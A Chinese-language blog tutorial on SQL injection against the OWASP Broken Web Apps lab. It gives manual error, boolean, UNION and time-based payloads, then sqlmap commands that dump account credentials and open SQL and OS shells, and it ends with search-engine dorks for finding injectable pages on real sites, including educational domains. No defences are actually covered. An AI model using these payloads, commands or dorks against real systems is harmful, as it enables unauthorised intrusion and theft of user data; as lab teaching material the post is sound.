首页 > 数据库 >SQL注入攻击及防御

SQL注入攻击及防御

时间:2023-04-14 17:37:48浏览次数:51  
标签:name -- user 防御 SQL php 数据库 select 注入

SQL注入攻击及防御

1.项目实验环境

目标靶机OWASP_Broken_Web_App_VM_1.2:

https://sourceforge.net/projects/owaspbwa/files/latest/download

测试渗透机: Kali-Linux-VM-amd64

https://cdimage.kali.org/kali-2023.1/kali-linux-2023.1-vmware-amd64.7z

2.SQL注入危害

1、拖库导致用户数据泄漏;
2、危害web等应用的安全;
3、失去操作系统的控制权;
4、用户信息被非法买卖;
5、危害企业及国家的安全!

3.SQL基础回顾

3.1 登录OWASP

项目环境: OwASP
表1 : dvwa.users
表2 : wordpress.wp_users
表3 : mysql.user

image-20230405172650044

3.2 查看数据库

# 查看所有数据库
show databases();

# 查看当前数据库
select database();

# 进入dvwa数据库
use dvwa;

3.3 查看库中的表

# 查看库中所有表
show tables;

3.4 查看表的结构

# 查看表的结构
desc users;
# 或者
describe users;
# 或者
show create table users\G # \G垂直显示

3.5 查看表的记录

# 查看表的记录
select * from users; 
# 同
select * from users\G; 

3.6 information_schema

information_schema信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。

# 查看所有的表的具体信息
select * from information_schema.tables\G
# 查看所有数据库,DISTINCT(去重)
select DISTINCT table_schema from information_schema.Tables;
# 等价于
show databases;
# 查看所有数据库跟表
select table_schema,table_name from information_schema.tables;
# 把数据库进行分组,组里面有相应的表
select table_schema,group_concat(table_name) from information_schema.tables group by table_schema\G
# 查看相应数据库里所有表
select table_name from information_schema.tables where table_schema='dvwa';
# 等价于
show tables;

==查询数据库库名、表名、字段名information_schema.columns=

# 查看所有的字段的具体信息
select * from information_schema.columns\G
# 查看所有字段名
select column_name from information_schema.columns;
# 查看指定数据库指定表的所有字段
select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users';
# 查看用户权限表
select column_name from information_schema.columns where table_name = 'user_privileges';
# 数据库特权的信息
select column_name from information_schema.columns where table_name = 'schema_privileges';

4.SQL注入流程

1.判断是否有SQL注入漏洞;
2.判断操作系统、数据库和web应用的类型;
3.获取数据库信息,包括管理员信息及拖库;
4.加密信息破解,sqlmap可自动破解;
5.提升权限,获得sql-shell、os-shell、登录应用后台;

5.手动注入实战

5.1基于错误的注入

错误注入的思路是通过构造特殊的sq1语句,根据得到的错误信息,确认sq1注入点;
通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。

image-20230405221012849

image-20230405221141054

当前面sql所使用的库为dvwa

搜索框正常输入 1

image-20230405221436723

sql语法解析:
select first_name,last_name from dvwa.users;
select first_name,last_name from dvwa.users where user_id = '1';

image-20230405221814855

# 页面报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
# sql注入语法解析:
select first_name,last_name from dvwa.users where user_id = ''';

5.2 基于布尔的注入

布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码;

image-20230405222712853

# 原始语句
select first_name,last_name from dvwa.users where user_id = '';

# sql注入语句解析:' or 1=1 -- '
select first_name,last_name from dvwa.users where user_id = ' ' or 1=1 -- '  ';

# 说明:
# 第一个' 用于闭合前面的条件
# or 1-1为真的条件
# --空格 将注释后面的所有语句

5.3 基于UNION注入

UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。

-- 猜测数据列数
'union select 1 -- '
'union select 1,2 -- '
'union select 1,2,3 -- '
'union select 1,2,3,4 -- '
-- SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id ='' union select 1 -- ''
select first_name,last_name from dvwa.users where user_id ='' union select 1,2 -- ''
-- 获得当前数据库及用户信息
'union select version(), database() -- '
'union select user(), database( ) -- ' 
 select first_name,last_name from dvwa.users where user_id =''union select version(),database() -- ''
 select first_name,last_name from dvwa.users where user_id =''union select user(),database() -- ''
 
 -- 说明
 version() # 获得数据库版本信息
 database() # 获得当前数据库名
 user() # 获得当前用户名
 
 -- SQL注入语法解析:
 select * from information_schema.TABLES\G
 
 -- 查询所有库名
select first_name,last_name from dvwa.users where user_id = ''union select table_schema,1 from information_schema.tables -- ''

 -- 查看所库中所有表名
select first_name,last_name from dvwa.users where user_id = ''union select table_name,1 from information_schema.tables -- ''
 
 -- 同时查询表名及对应库名
select first_name,last_name from dvwa.users where user_id = ''union select table_schema,table_name from information_schema.tables -- ''

**image-20230405225226679 **

image-20230405225327903 image-20230405225342947

同样可以用information_schema.columns

5.4 基于时间的盲注

有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。

image-20230405230828351 没反应

image-20230405230836420

image-20230405231108780

# sql注入语法解析:
select first_name,last_name from dvwa.users where user_id = '1' and sleep(5) -- '

6.sqlmap自动化注入

SQL注入比较好用的工具,首推开源工具SQLmap. SQLmap是 一个国内外著名的安全稳定性测试工具,可以用来进行自动
化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳
定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系
统命令。

SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, sQLite,Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

image-20230406195602140

6.1 GET方法注入,POST方法注入

get方式就是页面上能看的到的参数,利用页面能看得到得参数进行注入,比如www.abc.com/index.php?id=1 中id=1 就是能用get方式

POST方式,在浏览器中已经无法查看注入点位置。

image-20230406195647546image-20230406195832635

url = http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details

 sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' -p 'usernam'
 
-u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-p:指定参数进行扫描,不是扫描所有参数,这样可以避免浪费时间到非注入点参数上,从而提高扫描效率。

image-20230406203837662 image-20230406204614889

# 列出所有数据库
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --dbs 

--dbs 枚举DBMS所有的数据库

image-20230406204438225

image-20230406204733847

# 列出所有用户
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --users

--users 枚举目标DBMS所有的用户
--current-user                 查询目标DBMS当前用户
--current-db                    查询目标DBMS当前数据库

image-20230406205044743 image-20230406205140024

image-20230406215135963

image-20230406215202694

-u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-p:指定参数进行扫描,不是扫描所有参数,这样可以避免浪费时间到非注入点参数上,从而提高扫描效率。

--dbs 							枚举DBMS所有的数据库
--dbms=                          指定具体DBMS

--users 						枚举目标DBMS所有的用户

--current-user                  查询目标DBMS当前用户
--current-db                    查询目标DBMS当前数据库

-D db                          	指定进行枚举的数据库名称
-T table                       	指定进行枚举的数据库表名称
-C column                 		指定进行枚举的数据库列名称

--tables                        枚举DBMS数据库中所有的表

--dump                          存储DBMS数据库的表中的条目
--dump-all                      存储DBMS所有数据库表中的条目

--exclude-sysdbs         		枚举表时排除系统数据库

--columns                       枚举DBMS数据库表中所有的列

--batch                         测试过程中, 执行所有默认配置

# 实例步骤
# 1.获得当前数据库
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch --current-db

# 2.获得数据库表
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp --tables

# 3.获得表的字段
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp -T accounts --columns

# 4.获得表中的数据
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp -T accounts -C'username,password' --dump



有些网址注入点在里面就需要带cookie才能访问的注入页面,--cookie=" "

image-20230406230647084 image-20230406234142603

# cookie = "
	acgroupswithpersist: nada;
	acopendivids: swingset,jotto,phpbb2,redmine;
	PHPSESSID: 706kv7odf502nk5qdrrid3b856;
	security: low
"
sqlmap -u "http://192.168.1.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="acgroupswithpersist=nada;acopendivids=swingset,jotto,phpbb2,redmine; \
PHPSESSID=706kv7odf502nk5qdrrid3b856;security=low" --batch -p 'id'

6.3 提权操作

# --sql-shell  与数据库交互 
# --os-cmd=    执行操作系统命令
# --os-shell   交互式的系统shell

sqlmap -u "http://192.168.1.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="acgroupswithpersist=nada;acopendivids=swingset,jotto,phpbb2,redmine; \
PHPSESSID=706kv7odf502nk5qdrrid3b856;security=low" --batch -p 'id' --sql-shell

image-20230406234624470

sql-shell> select * from users;	

image-20230406234717603

6. 综合案例

 1. 通过Google搜索可能存在注入的页面
	inurl:.php?id=
	inurl:.jsp?id=
	inurl:.asp?id=
	inurl:/admin/login.php
	inurl:.php?id= intitle:美女
 2. 通过百度搜索可能存在注入的页面
	inurl:news.asp?id= site:edu.cn
	inurl:news.php?id= site :edu.cn
	inurl:news.aspx?id= site:edu.cn

标签:name,--,user,防御,SQL,php,数据库,select,注入
From: https://www.cnblogs.com/Wesuiliye/p/17318954.html

相关文章

  • SQLServer 查看耗时较多的 SQL 语句
    SELECTTOP20total_worker_time/1000AS[总消耗CPU时间(ms)],execution_count[运行次数],qs.total_worker_time/qs.execution_count/1000AS[平均消耗CPU时间(ms)],last_execution_timeAS[最后一次执行时间],max_worker_time/1000AS[最大执行时间(ms)]......
  • MySQL学习笔记-索引
    索引索引(index)是帮助MySQL高效获取数据的数据结构(有序)。在数据之外,数据库系统还维护着满足特定查找算法的数据结构,这些数据结构以某种方式引用(指向)数据,这样就可以在这些数据结构上实现高级查找算法,这种数据结构就是索引。无索引的查找:全表扫描(将整张表遍历一遍),性能......
  • 在帆软中sql的if语句以及传参的格式
    ${if(len(STRU_CODE)==0,"","ANDA.BMEM_IDLIKE'%"+STRU_CODE+"%'")} ${if(len(ORDER_ID)==0,"","ANDA.ORDER_IDLIKE'%"+ORDER_ID+"%'")} ${if(len(SMEM_ID)......
  • oracle查找重复数据和删除重复数据sql
    查找重复数据sql(思路就是根据需要判断重复数据的字段分组,根据having大于2的就是重复的)--查找某表重复数据selectBUSS_TYPE_ID,BUSS_TYPE,TRADE_VARIETY_ID,TRADE_VARIETY,TRADE_SUBVARIETY_ID,TRADE_SUBVARIETY,......
  • MySQL数据库实现主主同步
    前言MySQL主主同步实际上是在主从同步的基础上将从数据库也提升成主数据库,让它们可以互相读写数据库,从数据库变成主数据库;主从相互授权连接,读取对方binlog日志并更新到本地数据库的过程,只要对方数据改变,自己就跟着改变。1.主主同步的优与劣事实上每个技术都有它的优劣势,我们......
  • mysql之审计
    ###################https://blog.csdn.net/weihaodong0557/article/details/113805838  showvariableslike'have%';   //查看hava_openssl mkdir/home/work/mysql_3306/ssl//home/work/mysql_3306/bin/mysql_ssl_rsa_setup--datadir=/home/work/mysql_33......
  • 【MySQL】Navicat Premium连接MySQL错误
    mysql8.0出现的2059-authenticationplugin'caching_sha2_password'-navicat连接异常问题解决1.找到配置文件my.ini将default_authentication_plugin=caching_sha2_password改为default_authentication_plugin=mysql_native_password2.用命令行登陆mysql-uroot-p123......
  • android 读取本地数据库db文件(Android sqlite)
    本文由简悦SimpRead转码,原文地址cloud.tencent.com腾讯云备案控制台开发者社区学习实践活动专区工具TVP文章/答案/技术大牛搜索搜索关闭写文章提问登录/注册全栈程序员站长55.1K篇文章android读取本地数据库db文件(Androidsqlite)转到我的清单专栏首页全栈程序员必看......
  • MySQL(十四)分析查询语句Explain 七千字总结
    分析查询语句:EXPLAIN1概述​ 定位了查询慢的SQL之后,就可以使用EXPLAIN或者DESCRIBE工具做针对性的分析查询。两者使用方法相同,并且分析结果也是相同的。​ MySQL中有专门负责SQL语句优化的优化器模块,主要功能是计算分析系统中收集到的统计信息,为客户端请求的Query提供它最优的......
  • python3 各种方式连接mysql数据库
    print("python连接mysql数据库")#importmysql.connector"""#1使用mysql-connector连接mysqlimportmysql.connectormydb=mysql.connector.connect(host="localhost",user="clever",passwd="1881301"......